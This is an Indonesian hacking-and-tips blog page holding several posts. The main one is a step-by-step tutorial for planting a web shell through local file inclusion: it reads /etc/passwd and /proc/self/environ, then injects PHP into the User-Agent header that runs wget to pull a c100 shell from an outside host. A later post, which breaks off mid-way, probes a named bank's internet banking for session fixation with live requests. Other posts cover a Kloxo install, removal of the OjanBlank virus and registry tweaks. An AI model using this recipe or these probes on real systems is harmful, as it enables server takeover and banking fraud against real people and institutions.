Label
- ARTIKEL KOMPUTER (10)
- Beranda Kahlil Gibran (30)
- DUNIA HACKING (15)
- makalah (1)
- MANTRA (10)
- MISTERI DUNIA (13)
- Penelitian Tindakan Kelas (1)
- SMS (1)
- Software (3)
- TIPS KEHIDUPAN (3)
- TRIK PHOTOSHOP CS (1)
Tampilkan postingan dengan label DUNIA HACKING. Tampilkan semua postingan
Tampilkan postingan dengan label DUNIA HACKING. Tampilkan semua postingan
Selasa, 11 Januari 2011
Tanam Shell via LFI dengan Metode Proc/Self/Environ
saya akan coba mengimplementasikan bagaimana membuat shell pada target server lewat LFI dengan metode proc/self/environ,
Ok kita langsung saja...
1. Hal yang pertama dilakukan seperti teknik-teknik lainnya adalah kita terlebih dahulu coba temukan website yang vulnerable terhadap serangan LFI.
contoh : http://site.com/info.php?file=news.php
2. coba kita ganti "news.php" dengan "../../../".
contoh : http://site.com/info.php?file=..%2F..%2F..%2F
lalu kita mendapat error, seperti berikut...
Warning: include(../../../) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99
ok sepertinya, kita mendapat kesempatan untuk memanfaatkan include ke file lain.
selanjutanya kita coba temukan /etc/passwd.
contoh : http://site.com/info.php?file=etc%2Fpasswd
Tetapi kita masih mendapat error seperti berikut :
Warning: include(/etc/passwd) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99
bagaimana jika kita naikan directorynya ?
mari kita coba...
contoh : http://site.com/info.php?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
Ahoi, kita berhasil mendapatkan file /etc/passwd yang terlihat seperti berikut :
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
hplip:x:103:7:HPLIP system user,,,:/var/run/hplip:/bin/false
avahi-autoipd:x:104:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
gdm:x:105:111:Gnome Display Manager:/var/lib/gdm:/bin/false
saned:x:106:113::/home/saned:/bin/false
pulse:x:107:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
messagebus:x:108:117::/var/run/dbus:/bin/false
polkituser:x:109:118:PolicyKit,,,:/var/run/PolicyKit:/bin/false
avahi:x:110:119:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
haldaemon:x:111:120:Hardware abstraction layer,,,:/var/run/hald:/bin/false
gunslinger:x:1000:1000:gunslinger_,,,:/home/gunslinger:/bin/bash
snmp:x:112:65534::/var/lib/snmp:/bin/false
guest:x:113:124:Guest,,,:/tmp/guest-home.rRZGXM:/bin/bash
sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin
3. mari kita check apakah /proc/self/environ bisa kita akses ?
sekarang, ganti "/etc/passwd" dengan "/proc/self/environ"
contoh : http://site.com/info.php?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
Jika anda mendapatkan yang seperti ini :
DOCUMENT_ROOT=/home/gunslinger/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html,
application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif,
image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=3g4t67261b341231b94r1844ac2ad7ac
HTTP_HOST=www.site.com HTTP_REFERER=http://www.site.com/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
HTTP_USER_AGENT=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15
PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665
REQUEST_METHOD= GET REQUEST_URI = /index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
SCRIPT_FILENAME=/home/gunslinger/public_html/index.php SCRIPT_NAME=/index.php
SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=gunslinger@site.com SERVER_NAME=www.site.com
SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k
PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0 Server at www.site.com Port 80
Ternyata proc/self/environ dapat kita akses !
jika anda mendapatkan halaman yang kosong (blank) /proc/self/environ tidak dapat di akses atau mungkin juga beroperating system *BSD
4. Sekarang mari kita injeksi dengann malicious kode dengan meracuni http-headernya . bagaimana kita bisa menginjeksinya? kita bisa menggunakan tamper data pada firefox addon.
dapat anda download disini : https://addons.mozilla.org/en-US/firefox/addon/966
buka tamper data di firefox lalu masukan url /proc/self/environ yang tadi "http://site.com/info.php?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron"
lalu pada user-agent isikan dengan kode berikut :
<?system('wget http://r57.gen.tr/c100.txt -O shell.php');?>
atau
<?exec('wget http://r57.gen.tr/c100.txt -O shell.php');?>
lalu submit.
5. jika kita berhasil menginjeksi malicious kode berikut, maka shell akan ada di tempat seperti ini.
http://www.site.com/shell.php
happy hacking !
Cara Install Kloxo di VPS Centos 5, 32 & 64 bit
Bebrapa dari kita tentunya sudah tahu kloxo, ya... software admin semacam cPanel tapi gratis. Melihat betapa mahalnya lisensi cPanel yang untuk vps saja bisa sampai $15/month belum termasuk sewa vps nya, tentunya bisa membuat kantong kita kering, hehe...
Kalo untuk vps penggunaan pribadi solusinya ya bisa pakai kloxo produk dari perusahaan LxCenter ini, tapi kalo untuk usaha hosting ya sudah pasti cPanel pilihannya :)
Di postingan ini kita coba padukan vps os centos 5 dan kloxo, berikut langkah langkah nya:
1. Pastikan buka port 7778 dan 7777
2. Masuk root ssh
3. Ketik lalu enter: cd /
4. Ketik lalu enter: setenforce 0
5. Ketik lalu enter: wget http://download.lxlabs.com/download/kloxo/production/kloxo-install-master.sh
6. Ketik lalu enter: sh ./kloxo-install-master.sh
7. proses installisasi ....
*note: kalau pake vps lokal iix, proses agak lama, (andaikan ada mirror kloxo lokal, pasti cepat :D )
Kalau proses install sudah selesai, silahkan coba akses kloxo: http://IP-Anda:7778/
default user: admin password: admin (langsung ganti pass nya, supaya aman B-) )
Untuk demo nya sebelum menginstall silahkan coba ini: http://demo.kloxo.com:7778/
7 langkah membasmi virus ojanblank
Virus lokal OjanBlank cukup mengganggu dan berpotensi membahayakan. Virus ini menyusup dari perangkat eksternal yang terhubung lewat port USB, seperti USB FlashDisk ataupun hardisk portabel.
Saat menginfeksi komputer, virus ini akan melakukan berbagai hal. Termasuk di antaranya adalah memantau apakah komoputer korban terhubung ke internet, mematikan Windows Firewall, serta mengirimkan data-data dari komputer korban ke pembuat virus.
Berikut adalah langkah-langkah membasminya seperti diuraikan oleh analis antivirus dari Vaksincom, Adi Saputra, kepada detikINET, Kamis (18/3/2010):
1. Putuskan koneksi jaringan / internet.
2. Matikan System Restore
* Klik kanan My Computer, pilih Properties.
* Pilih tab System Restore, beri ceklist pilihan Turn off System restore
* Klik Apply, Klik OK.
3. Matikan proses virus (dengan Command Prompt).
* Klik Menu [Start] à [All Programs] à [Accessories] à [Command Prompt]
* Pada Command Prompt, ketik perintah “Tasklist (hal ini untuk melihat proses virus yang aktif yaitu “WinGUI.exe atau junx.exe)
* Setelah mengetahu proses virus yang aktif, matikan proses virus dengan menjalankan/ketik perintah Taskkill sebagai berikut:
o Taskill /f /im WinGUI.exe, atau
o Taskill /f /im junx.exe
4. Repair Registry Windows
Perbaiki Registry Windows yang sudah di modifikasi oleh virus dengan langkah sebagai berikut :
a. Salin script di bawah ini dengan menggunakan notepad :
[Version]
Signature="$Chicago$"
Provider=Vaksincom Oyee
[DefaultInstall]
AddReg=UnhookRegKey
DelReg=del
[UnhookRegKey]
HKLM, Software\CLASSES\batfile\shell\open\command,,,"""%1"" %*"
HKLM, Software\CLASSES\comfile\shell\open\command,,,"""%1"" %*"
HKLM, Software\CLASSES\exefile\shell\open\command,,,"""%1"" %*"
HKLM, Software\CLASSES\piffile\shell\open\command,,,"""%1"" %*"
HKLM, Software\CLASSES\regfile\shell\open\command,,,"regedit.exe "%1""
HKLM, Software\CLASSES\scrfile\shell\open\command,,,"""%1"" %*"
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, Shell,0, "Explorer.exe"
HKLM, SYSTEM\ControlSet001\Control\SafeBoot, AlternateShell,0, "cmd.exe"
HKLM, SYSTEM\CurrentControlSet\Control\SafeBoot, AlternateShell,0, "cmd.exe"
HKLM, SOFTWARE\Classes\exefile\DefaultIcon,,,""%1" %"
[del]
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\Run, Microsoft Word Agents
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\Run, Microsoft Office Agents
b. Simpan file dengan nama repair.inf. Gunakan pilihan Save As Type menjadi All Files agar tidak terjadi kesalahan.
c. Klik kanan file repair.inf, kemudian pilih install
d. Restart komputer.
5. Hapus file induk serta file duplikat yang dibuat oleh virus OjanBLANK, dimana file tersebut mempunyai ciri-ciri sebagai berikut :
* Ukuran file 224 KB
* Berekstensi exe
* Memiliki icon MS Word
* Type file application.
6. Hapus file trojan dan file pendamping virus, yaitu sebagai berikut :
* C:\WINDOWS\system32\MSWINSCK.OCX
* C:\WINDOWS\system32\ijl11.dll
* C:\WINDOWS\system32\ms.exe
* C:\WINDOWS\system32\b.doc
7. Untuk pembersihan yang optimal dan mencegah infeksi ulang, sebaiknya menggunakan antivirus yang ter-update dan mengenali virus ini dengan baik.
55 trik registry editor
(1).Mengganti Nama Recycle Bin
------------------------------
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}
Klik ganda pada option (Default value) dan beri nama baru sesuai yang diinginkan pada Value Data.
(2).Memunculkan Rename Pada Recycle Bin
---------------------------------------
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder
Klik ganda pada Attributes > Edit Binary Value. Pada Value Data, ganti angka tersebut menjadi 0000 50 01 00 20.
(3).Menambah Isi Shortcut Menu Pada Recycle Bin
-----------------------------------------------
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder
Klik ganda Attributes dan ganti angka di Value Data dengan angka berikut ini:
0000 50 01 00 20 > Rename
0000 60 01 00 20 > Delete
0000 70 01 00 20 > Rename & Delete
0000 41 01 00 20 > Copy
0000 42 01 00 20 > Cut
0000 43 01 00 20 > Copy & Cut
0000 44 01 00 20 > Paste
0000 45 01 00 20 > Copy & Paste
0000 46 01 00 20 > Cut & Paste
0000 47 01 00 20 > Cut, Copy & Paste
(4).Menambah Isi Shortcut Menu Pada Recycle Bin Dengan Menu Pilihan
-------------------------------------------------------------------
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\Shell
Klik menu Edit > New > Key dan beri nama yang diinginkan (Misalnya: Go To Windows Explorer). Dibawah key yang baru tersebut, tekan lagi menu Edit > New > Key dan buat sebuah key baru bernama Command. Klik ganda option (Default), dan pada bagian Value Data, isi dengan path Windows Explorer (C:\WINDOWS\Explorer.exe).
(5).Mengembalikan Folder Documents Yang Hilang Di My Computer
-------------------------------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\DocFolderPaths
Pilih menu Edit > New > String Value dan beri nama sesuai dengan username yang digunakan di Windows (misal: y3ppy) Klik ganda pada value tersebut dan masukkan path tempat dimana Documents anda berada (misal D:\Documents)
(6).Menyingkirkan File Stored Dari My Computer
----------------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ Explorer\MyComputer\NameSpace\DelegateFolders
Hapus subkey {59031a47-3f72-44a7-89c5-5595fe6b30ee}
(7).Menyembunyikan My Recent Documents
--------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik menu Edit > New > DWORD Value dan beri nama NoRecentDocsMenu. Kemudian klik ganda pada DWORD Value tersebut, dan berikan angka 1 untuk mengaktifkannya.
(8).Mengembalikan Fungsi Search Kedalam Tampilan Lama
------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState
Pilih menu Edit > New > String Value dan beri nama UseSearchAsst. Klik ganda UseSearchAsst dan masukkan angka 1 pada Value Data.
(9).Menyembunyikan Menu Find
----------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik menu Edit > New > DWORD Value dan beri nama NoFind. Kemudian klik ganda pada DWORD Value tersebut dan berikan angka 1 untuk mengaktifkannya. Restart komputer.
(10).Menyembunyikan Menu Run (1)
--------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoRun. Klik ganda dan masukkan angka 1 sebagai Value Data.
(11).Menyembunyikan Menu Run (2)
--------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Cari value bernama Start_ShowRun, klik ganda dan masukkan angka 0 pada bagian Value Data.
(12).Menyembunyikan Log Off
---------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik menu Edit > New > Binary Value dan beri nama NoLogOff.
Klik ganda pada NoLogOff dan masukkan angka 01 00 00 00 pada bagian Value Data.
(13).Menyembunyikan Menu Turn Off Computer
------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik menu Edit > New > DWORD Value dan beri nama NoClose. Klik ganda NoClose dan beri angka 1 pada Value Data.
(14).Cleartype Pada Logon Screen
--------------------------------
HKEY_USERS\. DEFAULT\Control Panel\Desktop
Klik ganda FontSmoothingType dan masukkan angka 2 pada Value Data.
(15).Membuat Tampilan Berbeda Pada Jendela Logon
------------------------------------------------
HKEY_USERS\. DEFAULT\Software \Microsoft\Windows\CurrentVersion\ThemeManager
Klik ganda ColorName dan masukkan teks Metallic pada Value Data.
(16).Menampilkan Administrator Di Welcome Screen
------------------------------------------------
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Buat sebuah DWORD Value baru dan beri nama Administrator.
Klik ganda Administrator dan masukkan angka 1 pada Value Data
(17).Login Otomatis
-------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Klik ganda AltDefaultUserName dan masukkan username account yang dipilih. Klik ganda AutoAdminLogon dan masukkan angka 1 pada Value Data. Buat sebuah DWORD Value baru dan beri nama DefaultPassword. Klik ganda DefaultPassword dan masukkan password account yang dipilih pada Value Data.
(18).Menyembunyikan Icon Printer & Faxes dari Start Menu
--------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Cari value bernama Start_ShowPrinters dan berikan angka 0 pada Value Data.
(19).Menyembunyikan Control Panel Dari Start Menu
-------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Cari value bernama Start_ShowControlPa nel dan klik ganda pada bagian tersebut. Masukkan angka 0 pada Value Data.
(20).Menyembunyikan Menu My Pictures Dari Start Menu
----------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada Start_ShowMyPics dan masukkan angka 0 pada bagian Value Data.
(21).Memunculkan Menu Administrative Tools
------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada StartMenuAdminTools dan berikan angka 1 pada Value Data.
(22).Memperkecil Icon Start Menu
--------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada Start_LargeMFUIcons dan masukkan angka 1 pada Value Data.
(23).Menghilangkan Username Pada Start Menu
-------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Pilih Edit > New > DWORD Value dan beri nama NoUserNameInStartMenu. Klik ganda NoUserNameInStartMenu dan masukkan angka 1 pada Value Data.
(24).Mencegah Perubahan Menu Start
----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoChangeStartMenu. Klik ganda NoChangeStartMenu dan masukkan angka 1 pada Value Data.
(25).Menyembunyikan My Recent Documents
---------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada Start_ShowRecentDoc s dan masukkan angka 0 pada Value Data.
(26).Mengubah Nama Default Shortcut Penting Di Desktop
------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID
Klik ganda pada default value pada masing-masing subkey dibawah ini:
My Network Places:
{208D2C60-3AEA-1069-A2D7-08002B30309D}
My Computer:
{20D04FE0-3AEA-1069-A2D8-08002B30309D}
My Documents:
{450D8FBA-AD25-11D0-98A8-0800361B1103}
Recycle Bin:
{645FF040-5081-101B-9F08-00AA002F954E}
Default IE Icon:
{871C5380-42A0-1069-A2EA-08002B30309D}
Masukkan nama-nama unik sebagai pengganti nama defaultnya.
(27).Menyembunyikan Icon Di Desktop
------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada HideIcons dan masukkan angka 1 pada Value Data.
(28).Mengganti Wallpaper
-------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda pada wallpaper dan masukkan path gambar yang diinginkan pada Value Data.
(29).Membersihkan Semua Icon Pada Desktop
-----------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoDesktop. Klik ganda pada NoDesktop dan masukkan angka 1 pada Value Data.
(30).Membuat Desktop Lebih Stabil
----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
Buat sebuah DWORD Value baru dan beri nama DesktopProcess. Klik ganda DesktopProcess dan masukkan angka 1 pada Value Data.
(31).Menghapus Daftar Program Dalam Menu Run
--------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Di jendela sebelah kanan, akan terlihat deretan software-software (ditandai secara alphabet a, b, c, d, dan seterusnya). Untuk menghapusnya, cukup dengan memilih salah satu (atau semua) nama program yang ada dan tekan tombol [Del]. Jika muncul jendela konfirmasi untuk penghapusan data, tekan Yes.
(32).Membersihkan Recent Documents
----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoRecentDocsHistory. Klik ganda pada NoRecentDocsHistory dan masukkan angka 1 pada bagian Value Data.
(33).Menghilangkan Info Tip Pada Icon Folders Di Desktop
--------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada FolderContentsInfoT ip dengan angka 0.
(34).Mengunci Taskbar
---------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada TaskBarSizeMove dan masukkan angka 0 pada Value Data.
(35).Menghapus Past Items Icons Pada Taskbar
--------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\TrayNotify
Hapus IconStreams dan PastIconsStream, kemudian buka Task Manager, pada Tab Processes klik kanan pada explorer.exe dan pilih End Process. Klik menu File > New Task (Run) dan ketikan kembali explorer dan tekan OK.
(36).Menyembunyikan System Tray
---------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Jika key Explorer belum ada buatlah sebuah DWORD Value baru dan beri nama NoTrayItemsDisplay. Klik ganda NoTrayItemsDisplay dan masukkan angka 1 pada Value Data. Untuk mengembalikan System Tray masukkan angka 0 pada Value Data.
(37).Menonaktifkan Klik-kanan Pada Desktop
------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoViewContextMenu. Klik ganda pada NoViewContextMenu dan masukkan angka 1 pada Value Data.
(38).Mengubah Waktu Delay Ketika Membuka Menu
---------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda pada MenuShowDelay dan ubah angka milidetik yang semula 400 menjadi angka lain. Semakin kecil semakin cepat.
(39).Mengatur Ukuran Icon Di Desktop Dan Start Menu
---------------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics
Klik ganda pada Shell Icon Size dan ubah angka 32 menjadi angka lainnya, misalnya 10.
(40).Mengganti Warna Windows
----------------------------
HKEY_CURRENT_USER\Control Panel\Colors
Klik ganda Window dan masukkan kombinasi warna RGB (gunakan Adobe PhotoShop untuk menemukan kombinasi warna yang sesuai).
(41).Mengganti Warna Teks Dalam Windows
---------------------------------------
HKEY_CURRENT_USER\Control Panel\Colors
Klik ganda WindowText dan masukkan kombinasi warna RGB.
(42).Menghilangkan Tab Screen Saver
-----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
Buat sebuah DWORD Value baru dan beri nama NoDispScrSavPage. Klik ganda NoDispScrSavPage dan masukkan angka 1 pada Value Data.
(43).Mengganti Screen Saver Lewat Registry
------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda SCRNSAVE.EXE kemudian masukkan path tempat file Screen Saver yang diinginkan. Misalnya: C:\WINDOWS\ScreenSaver.scr
(44).Menonaktifkan Default Screen Saver
---------------------------------------
HKEY_USERS\.DEFAULT\Control Panel\Desktop
Klik ganda ScreenSaveActive dan masukkan angka 0 pada Value Data. Untuk mengembalikannya masukkan angka 1 pada Value Data.
(45).Menghilangkan Tanda Anak Panah Pada Icon Shortcut
------------------------------------------------------
HKEY_CLASSES_ROOT\Inkfile
HKEY_CLASSES_ROOT\piffile
Ubah nama IsShortcut menjadi IsShortcuts.
(46).Mengubah Style Wallpaper
-----------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda pada WallpaperStyle dan masukkan angka sebagai berikut di Value Data:
1 > Center
2 > Stretch
3 > Tile
(47).Menonaktifkan Peringatan Low Disk Space
--------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buatlah sebuah DWORD Value baru dan beri nama NoLowDiskSpaceChecks. Klik ganda NoLowDiskSpaceChecks dan masukkan angka 1 pada Value Data.
(48).Menonaktifkan Menu Properties My Computer
----------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoPropertiesMyComputer. Klik ganda NoPropertiesMyComputer dan masukkan angka 1 pada Value Data.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoPropertiesMyComputer. Klik ganda NoPropertiesMyComputer dan masukkan angka 1 pada Value Data. Jika key Explorer tidak ada, buat yang baru dengan mengklik menu Edit > New > Key dan beri nama Explorer.
(49).Mengubah Ukuran CoolSwitch
-------------------------------
(Coba Tekan Alt+Tab, itulah yang disebut dengan CoolSwitch)
HKEY_CURRENT_USER\Control Panel\Desktop
HKEY_USERS\. DEFAULT\Control Panel\Desktop
Klik CoolSwitchColumns dan aturlah seberapa panjang CoolSwitch ini akan ditampilkan dengan memasukkan angka yang diinginkan pada Value Data. Kemudian klik CoolSwitchRows dan lakukan hal yang serupa.
(50).Menonaktifkan Fungsi CoolSwitch
------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
HKEY_USERS\. DEFAULT\Control Panel\Desktop
Klik ganda pada CoolSwitch dan masukkan angka 0.
(51).Menonaktifkan Animasi Pada Windows XP
------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics
Klik ganda pada MinAnimate dan masukkan angka 1 untuk menonaktifkan, dan 0 untuk mengaktifkannya kembali.
(52).Mengubah Tombol Kiri Menjadi Tombol Kanan Pada Mouse
---------------------------------------------------------
HKEY_CURRENT_USER\Control Panel\Mouse
Klik ganda pada SwapMouseButtons dan beri angka 1 pada Value Data.
(53).Mengubah Gulungan Baris Pada Scroll Mouse
----------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda WheelScrollLines masukkan angka yang diinginkan (sesuai dengan baris yang hendak digulung) pada Value Data.
(54).Menyembunyikan System Properties Pada Control Panel
--------------------------------------------------------
HKEY_CURRENT_USER\Control Panel\don't load
Buatlah sebuah String Value baru dan beri nama sysdm.cpl. Klik ganda sysdm.cpl dan masukkan input Yes pada bagian Value Data.
(55).Menonaktifkan Display Properties
-------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
Pada bagian subkey Policies, buat sebuah key baru dengan cara Edit > New > Key dan beri nama System. Kemudian di subkey System, buatlah sebuah DWORD Value baru dan beri nama NoDispCPL. Klik ganda NoDispCPL dan masukkan angka 1 pada Value Data.
Hacking mandiri internet banking with session fixation
Session ID Bank Mandiri Internet Banking
Internet banking mandiri menggunakan sessionid yang disimpan dalam cookie dengan nama JSESSIONID. Sessionid ini sangat panjang dan acak, jadi tidak mungkin memakai jurus prediction untuk mendapatkan sessionid. Contoh sessionid bank mandiri adalah:
JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002
Fixate sessionid yang dipilih sendiri dengan query string
Untuk memastikan apakah internet banking mandiri bisa diserang dengan session fixation, saya akan coba memasukkan query string JSESSIONID berisi string yang saya pilih sendiri. Saya coba dengan query string JSESSIONID=01234567890. Berikut adalah request dan response yang terjadi.
https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=01234567890
GET /retail/Login.do?action=form&JSESSIONID=01234567890 HTTP/1.1
Host: ib.bankmandiri.co.id
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5) Gecko/2008120122 YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: id,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
HTTP/1.x 200 OK
Date: Mon, 02 Feb 2009 23:28:58 GMT
Pragma: no-cache
Content-Encoding: gzip
Content-Length: 3822
Content-Type: text/html
Expires: -1
Transfer-Encoding: Chunked
Set-Cookie: JSESSIONID=JHB9fR0rxOD53jgT3h1x57kAmFAqo8s2fp28UZvDxs2zLupl0s1Q!568454685!-1062708981!7668!7002; path=/
Cache-Control: no-cache
Ternyata usulan saya ditolak mentah-mentah oleh server, hal ini terlihat dari responsenya yang memberikan sessionid dalam bentuk cookie pada baris ke-21. Dari response tersebut juga bisa diambil kesimpulan bahwa server bank mandiri lebih suka memakai cookie sehingga bila ada client yang memberikan sessionid dalam query string, dibalas dengan header Set-Cookie. Ini pertanda bagus karena cookie yang diberikan pada korban akan memudahkan serangan saya.
Fixate sessionid yang dibangkitkan server dengan query string
Oke, setelah gagal mengusulkan sessionid sembarangan dengan query string. Saya akan coba lagi dengan sessionid yang dibangkitkan server. Untuk itu sebelumnya saya harus meminta server memberikan sessionid. Dalam contoh ini saya akan gunakan sessionid yang sudah saya minta sebelumnya, yaitu:
JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002
Sessionid ini akan saya kirimkan dalam request dalam bentuk query string. Sebelumnya cookie yang ada harus dihapus karena cookie memiliki prioritas lebih dibanding query string dalam hal sessionid. Berikut request dan response yang terjadi.
https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l%21568454685%21-1062708981%217668%217002
